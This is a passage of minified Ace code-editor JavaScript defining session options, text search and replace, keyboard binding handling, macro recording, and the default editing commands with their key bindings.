this.getUseWrapMode()?this.$wrap==-1?\"printMargin\":this.getWrapLimitRange().min?this.$wrap:\"free\":\"off\"},handlesSet:!0},wrapMethod:{set:function(e){e=e==\"auto\"?this.$mode.type!=\"text\":e!=\"text\",e!=this.$wrapAsCode&&(this.$wrapAsCode=e,this.$useWrapMode&&(this.$modified=!0,this.$resetRowCache(0),this.$updateWrapData(0,this.getLength()-1)))},initialValue:\"auto\"},indentedSoftWrap:{initialValue:!0},firstLineNumber:{set:function(){this._signal(\"changeBreakpoint\")},initialValue:1},useWorker:{set:function(e){this.$useWorker=e,this.$stopWorker(),e&&this.$startWorker()},initialValue:!0},useSoftTabs:{initialValue:!0},tabSize:{set:function(e){if(isNaN(e)||this.$tabSize===e)return;this.$modified=!0,this.$rowLengthCache=[],this.$tabSize=e,this._signal(\"changeTabSize\")},initialValue:4,handlesSet:!0},overwrite:{set:function(e){this._signal(\"changeOverwrite\")},initialValue:!1},newLineMode:{set:function(e){this.doc.setNewLineMode(e)},get:function(){return this.doc.getNewLineMode()},handlesSet:!0},mode:{set:function(e){this.setMode(e)},get:function(){return this.$modeId}}}),t.EditSession=p}),define(\"ace/search\",[\"require\",\"exports\",\"module\",\"ace/lib/lang\",\"ace/lib/oop\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"./lib/lang\"),i=e(\"./lib/oop\"),s=e(\"./range\").Range,o=function(){this.$options={}};(function(){this.set=function(e){return i.mixin(this.$options,e),this},this.getOptions=function(){return r.copyObject(this.$options)},this.setOptions=function(e){this.$options=e},this.find=function(e){var t=this.$options,n=this.$matchIterator(e,t);if(!n)return!1;var r=null;return n.forEach(function(e,n,i){if(!e.start){var o=e.offset+(i||0);r=new s(n,o,n,o+e.length);if(!e.length&&t.start&&t.start.start&&t.skipCurrent!=0&&r.isEqual(t.start))return r=null,!1}else r=e;return!0}),r},this.findAll=function(e){var t=this.$options;if(!t.needle)return[];this.$assembleRegExp(t);var n=t.range,i=n?e.getLines(n.start.row,n.end.row):e.doc.getAllLines(),o=[],u=t.re;if(t.$isMultiLine){var a=u.length,f=i.length-a,l;e:for(var c=u.offset||0;c<=f;c++){for(var h=0;h<a;h++)if(i[c+h].search(u[h])==-1)continue e;var p=i[c],d=i[c+a-1],v=p.length-p.match(u[0])[0].length,m=d.match(u[a-1])[0].length;if(l&&l.end.row===c&&l.end.column>v)continue;o.push(l=new s(c,v,c+a-1,m)),a>2&&(c=c+a-2)}}else for(var g=0;g<i.length;g++){var y=r.getMatchOffsets(i[g],u);for(var h=0;h<y.length;h++){var b=y[h];o.push(new s(g,b.offset,g,b.offset+b.length))}}if(n){var w=n.start.column,E=n.start.column,g=0,h=o.length-1;while(g<h&&o[g].start.column<w&&o[g].start.row==n.start.row)g++;while(g<h&&o[h].end.column>E&&o[h].end.row==n.end.row)h--;o=o.slice(g,h+1);for(g=0,h=o.length;g<h;g++)o[g].start.row+=n.start.row,o[g].end.row+=n.start.row}return o},this.replace=function(e,t){var n=this.$options,r=this.$assembleRegExp(n);if(n.$isMultiLine)return t;if(!r)return;var i=r.exec(e);if(!i||i[0].length!=e.length)return null;t=e.replace(r,t);if(n.preserveCase){t=t.split(\"\");for(var s=Math.min(e.length,e.length);s--;){var o=e[s];o&&o.toLowerCase()!=o?t[s]=t[s].toUpperCase():t[s]=t[s].toLowerCase()}t=t.join(\"\")}return t},this.$matchIterator=function(e,t){var n=this.$assembleRegExp(t);if(!n)return!1;var i;if(t.$isMultiLine)var o=n.length,u=function(t,r,u){var a=t.search(n[0]);if(a==-1)return;for(var f=1;f<o;f++){t=e.getLine(r+f);if(t.search(n[f])==-1)return}var l=t.match(n[o-1])[0].length,c=new s(r,a,r+o-1,l);n.offset==1?(c.start.row--,c.start.column=Number.MAX_VALUE):u&&(c.start.column+=u);if(i(c))return!0};else if(t.backwards)var u=function(e,t,s){var o=r.getMatchOffsets(e,n);for(var u=o.length-1;u>=0;u--)if(i(o[u],t,s))return!0};else var u=function(e,t,s){var o=r.getMatchOffsets(e,n);for(var u=0;u<o.length;u++)if(i(o[u],t,s))return!0};var a=this.$lineIterator(e,t);return{forEach:function(e){i=e,a.forEach(u)}}},this.$assembleRegExp=function(e,t){if(e.needle instanceof RegExp)return e.re=e.needle;var n=e.needle;if(!e.needle)return e.re=!1;e.regExp||(n=r.escapeRegExp(n)),e.wholeWord&&(n=\"\\\\b\"+n+\"\\\\b\");var i=e.caseSensitive?\"gm\":\"gmi\";e.$isMultiLine=!t&&/[\\n\\r]/.test(n);if(e.$isMultiLine)return e.re=this.$assembleMultilineRegExp(n,i);try{var s=new RegExp(n,i)}catch(o){s=!1}return e.re=s},this.$assembleMultilineRegExp=function(e,t){var n=e.replace(/\\r\\n|\\r|\\n/g,\"$\\n^\").split(\"\\n\"),r=[];for(var i=0;i<n.length;i++)try{r.push(new RegExp(n[i],t))}catch(s){return!1}return n[0]==\"\"?(r.shift(),r.offset=1):r.offset=0,r},this.$lineIterator=function(e,t){var n=t.backwards==1,r=t.skipCurrent!=0,i=t.range,s=t.start;s||(s=i?i[n?\"end\":\"start\"]:e.selection.getRange()),s.start&&(s=s[r!=n?\"end\":\"start\"]);var o=i?i.start.row:0,u=i?i.end.row:e.getLength()-1,a=n?function(n){var r=s.row,i=e.getLine(r).substring(0,s.column);if(n(i,r))return;for(r--;r>=o;r--)if(n(e.getLine(r),r))return;if(t.wrap==0)return;for(r=u,o=s.row;r>=o;r--)if(n(e.getLine(r),r))return}:function(n){var r=s.row,i=e.getLine(r).substr(s.column);if(n(i,r,s.column))return;for(r+=1;r<=u;r++)if(n(e.getLine(r),r))return;if(t.wrap==0)return;for(r=o,u=s.row;r<=u;r++)if(n(e.getLine(r),r))return};return{forEach:a}}}).call(o.prototype),t.Search=o}),define(\"ace/keyboard/hash_handler\",[\"require\",\"exports\",\"module\",\"ace/lib/keys\",\"ace/lib/useragent\"],function(e,t,n){\"use strict\";function o(e,t){this.platform=t||(i.isMac?\"mac\":\"win\"),this.commands={},this.commandKeyBinding={},this.addCommands(e),this.$singleCommand=!0}function u(e,t){o.call(this,e,t),this.$singleCommand=!1}var r=e(\"../lib/keys\"),i=e(\"../lib/useragent\"),s=r.KEY_MODS;u.prototype=o.prototype,function(){function e(e){return typeof e==\"object\"&&e.bindKey&&e.bindKey.position||0}this.addCommand=function(e){this.commands[e.name]&&this.removeCommand(e),this.commands[e.name]=e,e.bindKey&&this._buildKeyHash(e)},this.removeCommand=function(e,t){var n=e&&(typeof e==\"string\"?e:e.name);e=this.commands[n],t||delete this.commands[n];var r=this.commandKeyBinding;for(var i in r){var s=r[i];if(s==e)delete r[i];else if(Array.isArray(s)){var o=s.indexOf(e);o!=-1&&(s.splice(o,1),s.length==1&&(r[i]=s[0]))}}},this.bindKey=function(e,t,n){typeof e==\"object\"&&(n==undefined&&(n=e.position),e=e[this.platform]);if(!e)return;if(typeof t==\"function\")return this.addCommand({exec:t,bindKey:e,name:t.name||e});e.split(\"|\").forEach(function(e){var r=\"\";if(e.indexOf(\" \")!=-1){var i=e.split(/\\s+/);e=i.pop(),i.forEach(function(e){var t=this.parseKeys(e),n=s[t.hashId]+t.key;r+=(r?\" \":\"\")+n,this._addCommandToBinding(r,\"chainKeys\")},this),r+=\" \"}var o=this.parseKeys(e),u=s[o.hashId]+o.key;this._addCommandToBinding(r+u,t,n)},this)},this._addCommandToBinding=function(t,n,r){var i=this.commandKeyBinding,s;if(!n)delete i[t];else if(!i[t]||this.$singleCommand)i[t]=n;else{Array.isArray(i[t])?(s=i[t].indexOf(n))!=-1&&i[t].splice(s,1):i[t]=[i[t]],typeof r!=\"number\"&&(r||n.isDefault?r=-100:r=e(n));var o=i[t];for(s=0;s<o.length;s++){var u=o[s],a=e(u);if(a>r)break}o.splice(s,0,n)}},this.addCommands=function(e){e&&Object.keys(e).forEach(function(t){var n=e[t];if(!n)return;if(typeof n==\"string\")return this.bindKey(n,t);typeof n==\"function\"&&(n={exec:n});if(typeof n!=\"object\")return;n.name||(n.name=t),this.addCommand(n)},this)},this.removeCommands=function(e){Object.keys(e).forEach(function(t){this.removeCommand(e[t])},this)},this.bindKeys=function(e){Object.keys(e).forEach(function(t){this.bindKey(t,e[t])},this)},this._buildKeyHash=function(e){this.bindKey(e.bindKey,e)},this.parseKeys=function(e){var t=e.toLowerCase().split(/[\\-\\+]([\\-\\+])?/).filter(function(e){return e}),n=t.pop(),i=r[n];if(r.FUNCTION_KEYS[i])n=r.FUNCTION_KEYS[i].toLowerCase();else{if(!t.length)return{key:n,hashId:-1};if(t.length==1&&t[0]==\"shift\")return{key:n.toUpperCase(),hashId:-1}}var s=0;for(var o=t.length;o--;){var u=r.KEY_MODS[t[o]];if(u==null)return typeof console!=\"undefined\"&&console.error(\"invalid modifier \"+t[o]+\" in \"+e),!1;s|=u}return{key:n,hashId:s}},this.findKeyCommand=function(t,n){var r=s[t]+n;return this.commandKeyBinding[r]},this.handleKeyboard=function(e,t,n,r){if(r<0)return;var i=s[t]+n,o=this.commandKeyBinding[i];e.$keyChain&&(e.$keyChain+=\" \"+i,o=this.commandKeyBinding[e.$keyChain]||o);if(o)if(o==\"chainKeys\"||o[o.length-1]==\"chainKeys\")return e.$keyChain=e.$keyChain||i,{command:\"null\"};if(e.$keyChain)if(!!t&&t!=4||n.length!=1){if(t==-1||r>0)e.$keyChain=\"\"}else e.$keyChain=e.$keyChain.slice(0,-i.length-1);return{command:o}},this.getStatusText=function(e,t){return t.$keyChain||\"\"}}.call(o.prototype),t.HashHandler=o,t.MultiHashHandler=u}),define(\"ace/commands/command_manager\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/keyboard/hash_handler\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../keyboard/hash_handler\").MultiHashHandler,s=e(\"../lib/event_emitter\").EventEmitter,o=function(e,t){i.call(this,t,e),this.byName=this.commands,this.setDefaultHandler(\"exec\",function(e){return e.command.exec(e.editor,e.args||{})})};r.inherits(o,i),function(){r.implement(this,s),this.exec=function(e,t,n){if(Array.isArray(e)){for(var r=e.length;r--;)if(this.exec(e[r],t,n))return!0;return!1}typeof e==\"string\"&&(e=this.commands[e]);if(!e)return!1;if(t&&t.$readOnly&&!e.readOnly)return!1;var i={editor:t,command:e,args:n};return i.returnValue=this._emit(\"exec\",i),this._signal(\"afterExec\",i),i.returnValue===!1?!1:!0},this.toggleRecording=function(e){if(this.$inReplay)return;return e&&e._emit(\"changeStatus\"),this.recording?(this.macro.pop(),this.removeEventListener(\"exec\",this.$addCommandToMacro),this.macro.length||(this.macro=this.oldMacro),this.recording=!1):(this.$addCommandToMacro||(this.$addCommandToMacro=function(e){this.macro.push([e.command,e.args])}.bind(this)),this.oldMacro=this.macro,this.macro=[],this.on(\"exec\",this.$addCommandToMacro),this.recording=!0)},this.replay=function(e){if(this.$inReplay||!this.macro)return;if(this.recording)return this.toggleRecording(e);try{this.$inReplay=!0,this.macro.forEach(function(t){typeof t==\"string\"?this.exec(t,e):this.exec(t[0],e,t[1])},this)}finally{this.$inReplay=!1}},this.trimMacro=function(e){return e.map(function(e){return typeof e[0]!=\"string\"&&(e[0]=e[0].name),e[1]||(e=e[0]),e})}}.call(o.prototype),t.CommandManager=o}),define(\"ace/commands/default_commands\",[\"require\",\"exports\",\"module\",\"ace/lib/lang\",\"ace/config\",\"ace/range\"],function(e,t,n){\"use strict\";function o(e,t){return{win:e,mac:t}}var r=e(\"../lib/lang\"),i=e(\"../config\"),s=e(\"../range\").Range;t.commands=[{name:\"showSettingsMenu\",bindKey:o(\"Ctrl-,\",\"Command-,\"),exec:function(e){i.loadModule(\"ace/ext/settings_menu\",function(t){t.init(e),e.showSettingsMenu()})},readOnly:!0},{name:\"goToNextError\",bindKey:o(\"Alt-E\",\"Ctrl-E\"),exec:function(e){i.loadModule(\"ace/ext/error_marker\",function(t){t.showErrorMarker(e,1)})},scrollIntoView:\"animate\",readOnly:!0},{name:\"goToPreviousError\",bindKey:o(\"Alt-Shift-E\",\"Ctrl-Shift-E\"),exec:function(e){i.loadModule(\"ace/ext/error_marker\",function(t){t.showErrorMarker(e,-1)})},scrollIntoView:\"animate\",readOnly:!0},{name:\"selectall\",bindKey:o(\"Ctrl-A\",\"Command-A\"),exec:function(e){e.selectAll()},readOnly:!0},{name:\"centerselection\",bindKey:o(null,\"Ctrl-L\"),exec:function(e){e.centerSelection()},readOnly:!0},{name:\"gotoline\",bindKey:o(\"Ctrl-L\",\"Command-L\"),exec:function(e){var t=parseInt(prompt(\"Enter line number:\"),10);isNaN(t)||e.gotoLine(t)},readOnly:!0},{name:\"fold\",bindKey:o(\"Alt-L|Ctrl-F1\",\"Command-Alt-L|Command-F1\"),exec:function(e){e.session.toggleFold(!1)},multiSelectAction:\"forEach\",scrollIntoView:\"center\",readOnly:!0},{name:\"unfold\",bindKey:o(\"Alt-Shift-L|Ctrl-Shift-F1\",\"Command-Alt-Shift-L|Command-Shift-F1\"),exec:function(e){e.session.toggleFold(!0)},multiSelectAction:\"forEach\",scrollIntoView:\"center\",readOnly:!0},{name:\"toggleFoldWidget\",bindKey:o(\"F2\",\"F2\"),exec:function(e){e.session.toggleFoldWidget()},multiSelectAction:\"forEach\",scrollIntoView:\"center\",readOnly:!0},{name:\"toggleParentFoldWidget\",bindKey:o(\"Alt-F2\",\"Alt-F2\"),exec:function(e){e.session.toggleFoldWidget(!0)},multiSelectAction:\"forEach\",scrollIntoView:\"center\",readOnly:!0},{name:\"foldall\",bindKey:o(null,\"Ctrl-Command-Option-0\"),exec:function(e){e.session.foldAll()},scrollIntoView:\"center\",readOnly:!0},{name:\"foldOther\",bindKey:o(\"Alt-0\",\"Command-Option-0\"),exec:function(e){e.session.foldAll(),e.session.unfold(e.selection.getAllRanges())},scrollIntoView:\"center\",readOnly:!0},{name:\"unfoldall\",bindKey:o(\"Alt-Shift-0\",\"Command-Option-Shift-0\"),exec:function(e){e.session.unfold()},scrollIntoView:\"center\",readOnly:!0},{name:\"findnext\",bindKey:o(\"Ctrl-K\",\"Command-G\"),exec:function(e){e.findNext()},multiSelectAction:\"forEach\",scrollIntoView:\"center\",readOnly:!0},{name:\"findprevious\",bindKey:o(\"Ctrl-Shift-K\",\"Command-Shift-G\"),exec:function(e){e.findPrevious()},multiSelectAction:\"forEach\",scrollIntoView:\"center\",readOnly:!0},{name:\"selectOrFindNext\",bindKey:o(\"Alt-K\",\"Ctrl-G\"),exec:function(e){e.selection.isEmpty()?e.selection.selectWord():e.findNext()},readOnly:!0},{name:\"selectOrFindPrevious\",bindKey:o(\"Alt-Shift-K\",\"Ctrl-Shift-G\"),exec:function(e){e.selection.isEmpty()?e.selection.selectWord():e.findPrevious()},readOnly:!0},{name:\"find\",bindKey:o(\"Ctrl-F\",\"Command-F\"),exec:function(e){i.loadModule(\"ace/ext/searchbox\",function(t){t.Search(e)})},readOnly:!0},{name:\"overwrite\",bindKey:\"Insert\",exec:function(e){e.toggleOverwrite()},readOnly:!0},{name:\"selecttostart\",bindKey:o(\"Ctrl-Shift-Home\",\"Command-Shift-Up\"),exec:function(e){e.getSelection().selectFileStart()},multiSelectAction:\"forEach\",readOnly:!0,scrollIntoView:\"animate\",aceCommandGroup:\"fileJump\"},{name:\"gotostart\",bindKey:o(\"Ctrl-Home\",\"Command-Home|Command-Up\"),exec:function(e){e.navigateFileStart()},multiSelectAction:\"forEach\",readOnly:!0,scrollIntoView:\"animate\",aceCommandGroup:\"fileJump\"},{name:\"selectup\",bindKey:o(\"Shift-Up\",\"Shift-Up\"),exec:function(e){e.getSelection().selectUp()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"golineup\",bindKey:o(\"Up\",\"Up|Ctrl-P\"),exec:function(e,t){e.navigateUp(t.times)},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selecttoend\",bindKey:o(\"Ctrl-Shift-End\",\"Command-Shift-Down\"),exec:function(e){e.getSelection().selectFileEnd()},multiSelectAction:\"forEach\",readOnly:!0,scrollIntoView:\"animate\",aceCommandGroup:\"fileJump\"},{name:\"gotoend\",bindKey:o(\"Ctrl-End\",\"Command-End|Command-Down\"),exec:function(e){e.navigateFileEnd()},multiSelectAction:\"forEach\",readOnly:!0,scrollIntoView:\"animate\",aceCommandGroup:\"fileJump\"},{name:\"selectdown\",bindKey:o(\"Shift-Down\",\"Shift-Down\"),exec:function(e){e.getSelection().selectDown()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"golinedown\",bindKey:o(\"Down\",\"Down|Ctrl-N\"),exec:function(e,t){e.navigateDown(t.times)},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectwordleft\",bindKey:o(\"Ctrl-Shift-Left\",\"Option-Shift-Left\"),exec:function(e){e.getSelection().selectWordLeft()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"gotowordleft\",bindKey:o(\"Ctrl-Left\",\"Option-Left\"),exec:function(e){e.navigateWordLeft()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selecttolinestart\",bindKey:o(\"Alt-Shift-Left\",\"Command-Shift-Left\"),exec:function(e){e.getSelection().selectLineStart()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"gotolinestart\",bindKey:o(\"Alt-Left|Home\",\"Command-Left|Home|Ctrl-A\"),exec:function(e){e.navigateLineStart()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectleft\",bindKey:o(\"Shift-Left\",\"Shift-Left\"),exec:function(e){e.getSelection().selectLeft()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"gotoleft\",bindKey:o(\"Left\",\"Left|Ctrl-B\"),exec:function(e,t){e.navigateLeft(t.times)},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectwordright\",bindKey:o(\"Ctrl-Shift-Right\",\"Option-Shift-Right\"),exec:function(e){e.getSelection().selectWordRight()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"gotowordright\",bindKey:o(\"Ctrl-Right\",\"Option-Right\"),exec:function(e){e.navigateWordRight()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selecttolineend\",bindKey:o(\"Alt-Shift-Right\",\"Command-Shift-Right\"),exec:function(e){e.getSelection().selectLineEnd()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"gotolineend\",bindKey:o(\"Alt-Right|End\",\"Command-Right|End|Ctrl-E\"),exec:function(e){e.navigateLineEnd()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectright\",bindKey:o(\"Shift-Right\",\"Shift-Right\"),exec:function(e){e.getSelection().selectRight()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"gotoright\",bindKey:o(\"Right\",\"Right|Ctrl-F\"),exec:function(e,t){e.navigateRight(t.times)},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectpagedown\",bindKey:\"Shift-PageDown\",exec:function(e){e.selectPageDown()},readOnly:!0},{name:\"pagedown\",bindKey:o(null,\"Option-PageDown\"),exec:function(e){e.scrollPageDown()},readOnly:!0},{name:\"gotopagedown\",bindKey:o(\"PageDown\",\"PageDown|Ctrl-V\"),exec:function(e){e.gotoPageDown()},readOnly:!0},{name:\"selectpageup\",bindKey:\"Shift-PageUp\",exec:function(e){e.selectPageUp()},readOnly:!0},{name:\"pageup\",bindKey:o(null,\"Option-PageUp\"),exec:function(e){e.scrollPageUp()},readOnly:!0},{name:\"gotopageup\",bindKey:\"PageUp\",exec:function(e){e.gotoPageUp()},readOnly:!0},{name:\"scrollup\",bindKey:o(\"Ctrl-Up\",null),exec:function(e){e.renderer.scrollBy(0,-2*e.renderer.layerConfig.lineHeight)},readOnly:!0},{name:\"scrolldown\",bindKey:o(\"Ctrl-Down\",null),exec:function(e){e.renderer.scrollBy(0,2*e.renderer.layerConfig.lineHeight)},readOnly:!0},{name:\"selectlinestart\",bindKey:\"Shift-Home\",exec:function(e){e.getSelection().selectLineStart()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"selectlineend\",bindKey:\"Shift-End\",exec:function(e){e.getSelection().selectLineEnd()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"togglerecording\",bindKey:o(\"Ctrl-Alt-E\",\"Command-Option-E\"),exec:function(e){e.commands.toggleRecording(e)},readOnly:!0},{name:\"replaymacro\",bindKey:o(\"Ctrl-Shift-E\",\"Command-Shift-E\"),exec:function(e){e.commands.replay(e)},readOnly:!0},{name:\"jumptomatching\",bindKey:o(\"Ctrl-P\",\"Ctrl-P\"),exec:function(e){e.jumpToMatching()},multiSelectAction:\"forEach\",scrollIntoView:\"animate\",readOnly:!0},{name:\"selecttomatching\",bindKey:o(\"Ctrl-Shift-P\",\"Ctrl-Shift-P\"),exec:function(e){e.jumpToMatching(!0)},multiSelectAction:\"forEach\",scrollIntoView:\"animate\",readOnly:!0},{name:\"expandToMatching\",bindKey:o(\"Ctrl-Shift-M\",\"Ctrl-Shift-M\"),exec:function(e){e.jumpToMatching(!0,!0)},multiSelectAction:\"forEach\",scrollIntoView:\"animate\",readOnly:!0},{name:\"passKeysToBrowser\",bindKey:o(null,null),exec:function(){},passEvent:!0,readOnly:!0},{name:\"copy\",exec:function(e){},readOnly:!0},{name:\"cut\",exec:function(e){var t=e.getSelectionRange();e._emit(\"cut\",t),e.selection.isEmpty()||(e.session.remove(t),e.clearSelection())},scrollIntoView:\"cursor\",multiSelectAction:\"forEach\"},{name:\"paste\",exec:function(e,t){e.$handlePaste(t)},scrollIntoView:\"cursor\"},{name:\"removeline\",bindKey:o(\"Ctrl-D\",\"Command-D\"),exec:function(e){e.removeLines()},scrollIntoView:\"cursor\",multiSelectAction:\"forEachLine\"},{name:\"duplicateSelection\",bindKey:o(\"Ctrl-Shift-D\",\"Command-Shift-D\"),exec:function(e){e.duplicateSelection()},scrollIntoView:\"cursor\",multiSelectAction:\"forEach\"},{name:\"sortlines\",bindKey:o(\"Ctrl-Alt-S\",\"Command-Alt-S\"),exec:function(e){e.sortLines()},scrollIntoView:\"selection\",multiSelectAction:\"forEachLine\"},{name:\"togglecomment\",bindKey:o(\"Ctrl-/\",\"Command-/\"),exec:function(e){e.toggleCommentLines()},multiSelectAction:\"forEachLine\",scrollIntoView:\"selectionPart\"},{name:\"toggleBlockComment\",bindKey:o(\"Ctrl-Shift-/\",\"Command-Shift-/\"),exec:function(e){e.toggleBlockComment()},multiSelectAction:\"forEach\",scrollIntoView:\"selectionPart\"},{name:\"modifyNumberUp\",bindKey:o(\"Ctrl-Shift-Up\",\"Alt-Shift-Up\"),exec:function(e){e.modifyNumber(1)},scrollIntoView:\"cursor\",multiSelectAction:\"forEach\"},{name:\"modifyNumberDown\",bindKey:o(\"Ctrl-Shift-Down\",\"Alt-Shift-Down\"),exec:function(e){e.modifyNumber(-1)},scrollIntoView:\"cursor\",multiSelectAction:\"forEach\"},{name:\"replace\",bindKey:o(\"Ctrl-H\",\"Command-Option-F\"),exec:function(e){i.loadModule(\"ace/ext/searchbox\",function(t){t.Search(e,!0)})}},{name:\"undo\",bindKey:o(\"Ctrl-Z\",\"Command-Z\"),exec:function(e){e.undo()}},{name:\"redo\",bindKey:o(\"Ctrl-Shift-Z|Ctrl-Y\",\"Command-Shift-Z|Command-Y\"),exec:function(e){e.redo()}},{name:\"copylinesup\",bindKey:o(\"Alt-Shift-Up\",\"Command-Option-Up\"),exec:function(e){e.copyLinesUp()},scrollIntoView:\"cursor\"},{name:\"movelinesup\",bindKey:o(\"Alt-Up\",\"Option-Up\"),exec:function(e){e.moveLinesUp()},scrollIntoView:\"cursor\"},{name:\"copylinesdown\",bindKey:o(\"Alt-Shift-Down\",\"Command-Option-Down\"),exec:function(e){e.copyLinesDown()},scrollIntoView:\"cursor\"},{name:\"movelinesdown\",bindKey:o(\"Alt-Down\",\"Option-Down\"),exec:function(e){e.moveLinesDown()},scrollIntoView:\"cursor\"},{name:\"del\",bindKey:o(\"Delete\",\"Delete|Ctrl-D|Shift-Delete\"),exec:function(e){e.remove(\"right\")},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"backspace\",bindKey:o(\"Shift-Backspace|Backspace\",\"Ctrl-Backspace|Shift-Backspace|Backspace|Ctrl-H\"),exec:function(e){e.remove(\"left\")},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"cut_or_delete\",bindKey:o(\"Shift-Delete\",null),exec:function(e){if(!e.selection.isEmpty())return!1;e.remove(\"left\")},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"removetolinestart\",bindKey:o(\"Alt-Backspace\",\"Command-Backspace\"),exec:function(e){e.removeToLineStart()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"removetolineend\",bindKey:o(\"Alt-Delete\",\"Ctrl-K\"),exec:function(e){e.removeToLineEnd()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"removewordleft\",bindKey:o(\"Ctrl-Backspace\",\"Alt-Backspace|Ctrl-Alt-Backspace\"),exec:function(e){e.removeWordLeft()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"removewordright\",bindKey:o(\"Ctrl-Delete\",\"Alt-Delete\"),exec:function(e){e.removeWordRight()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"outdent\",bindKey:o(\"Shift-Tab\",\"Shift-Tab\"),exec:function(e){e.blockOutdent()},multiSelectAction:\"forEach\",scrollIntoView:\"selectionPart\"},{name:\"indent\",bindKey:o(\"Tab\",\"Tab\"),exec:function(e){e.indent()},multiSelectAction:\"forEach\",scrollIntoView:\"selectionPart\"},{name:\"blockoutdent\",bindKey:o(\"Ctrl-[\",\"Ctrl-[\"),exec:function(e){e.blockOutdent()},multiSelectAction:\"forEachLine\",scrollIntoView:\"selectionPart\"},{name:\"blockindent\",bindKey:o(\"Ctrl-]\",\"Ctrl-]\"),exec:function(e){e.blockIndent()},multiSelectAction:\"forEachLine\",scrollIntoView:\"selectionPart\"},{name:\"insertstring\",exec:function(e,t){e.insert(t)},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"inserttext\",exec:function(e,t){e.insert(r.stringRepeat(t.text||\"\",t.times||1))},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"splitline\",bindKey:o(null,\"Ctrl-O\"),exec:function(e){e.splitLine()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"transposeletters\",bindKey:o(\"Ctrl-T\",\"Ctrl-T\"),exec:function(e){e.transposeLetters()},multiSelectAction:function(e){e.transposeSelections(1)},scrollIntoView:\"cursor\"},{name:\"touppercase\",bindKey:o(\"Ctrl-U\",\"Ctrl-U\"),exec:function(e){e.toUpperCase()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"tolowercase\",bindKey:o(\"Ctrl-Shift-U\",\"Ctrl-Shift-U\"),exec:function(e){e.toLowerCase()},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\"},{name:\"expandtoline\",bindKey:o(\"Ctrl-Shift-L\",\"Command-Shift-L\"),exec:function(e){var t=e.selection.getRange();t.start.column=t.end.column=0,t.end.row++,e.selection.setRange(t,!1)},multiSelectAction:\"forEach\",scrollIntoView:\"cursor\",readOnly:!0},{name:\"joinlines\",bindKey:o(null,null),exec:function(e){var t=e.selection.isBackwards(),n=t?e.selection.getSelectionLead():e.selection.getSelectionAnchor(),i=t?e.selection.getSelectionAnchor():e.selection.getSelectionLead(),o=e.session.doc.getLine(n.row).length,u=e.session.doc.getTextRange(e.selection.getRange()),a=u.replace(/\\n\\s*/,\" \").length,f=e.session.doc.getLine(n.row);for(var l=n.row+1;l<=i.row+1;l++){var c=r.stringTrimLeft(r.stringTrimRight(e.session.doc.getLine(l)));c.length!==0&&(c=\" \"+c),f+=c}i.row+1<e.session.doc.getLength()-1&&(f+=e.session.doc.getNewLineCharacter()),e.clearSelection(),e.session.doc.replace(new s(n.row,0,i.row+2,0),f),a>0?(e.selection.moveCursorTo(n.row,n.column),e.selection.selectTo(n.row,n.column+a)):(o=e.session.doc.getLine(n.row).length>o?o+1:o,e.selection.moveCursorTo(n.row,o))},multiSelectAction:\"forEach\",readOnly:!0},{name:\"invertSelection\",bindKey:o(null,null),exec:function(e){var t=e.session.doc.getLength()-1,n=e.session.doc.getLine(t).length,r=e.selection.rangeList.ranges,i=[];r.length<1&&(r=[e.selection.getRange()]);for(var o=0;o<r.length;o++)o==r.length-1&&(r[o].end.row!==t||r[o].end.column!==n)&&i.push(new s(r[o].end.row,r[o].end.column,t,n)),o===0?(r[o].start.row!==0||r[o].start.column!==0)&&i.push(new s(0,0,r[o].start.row,r[o].start.column)):i.push(new s(r[o-1].end.row,r[o-1].end.column,r[o].start.row,r[o].start.column));e.exitMultiSelectMode(),e.clearSelection();for(var 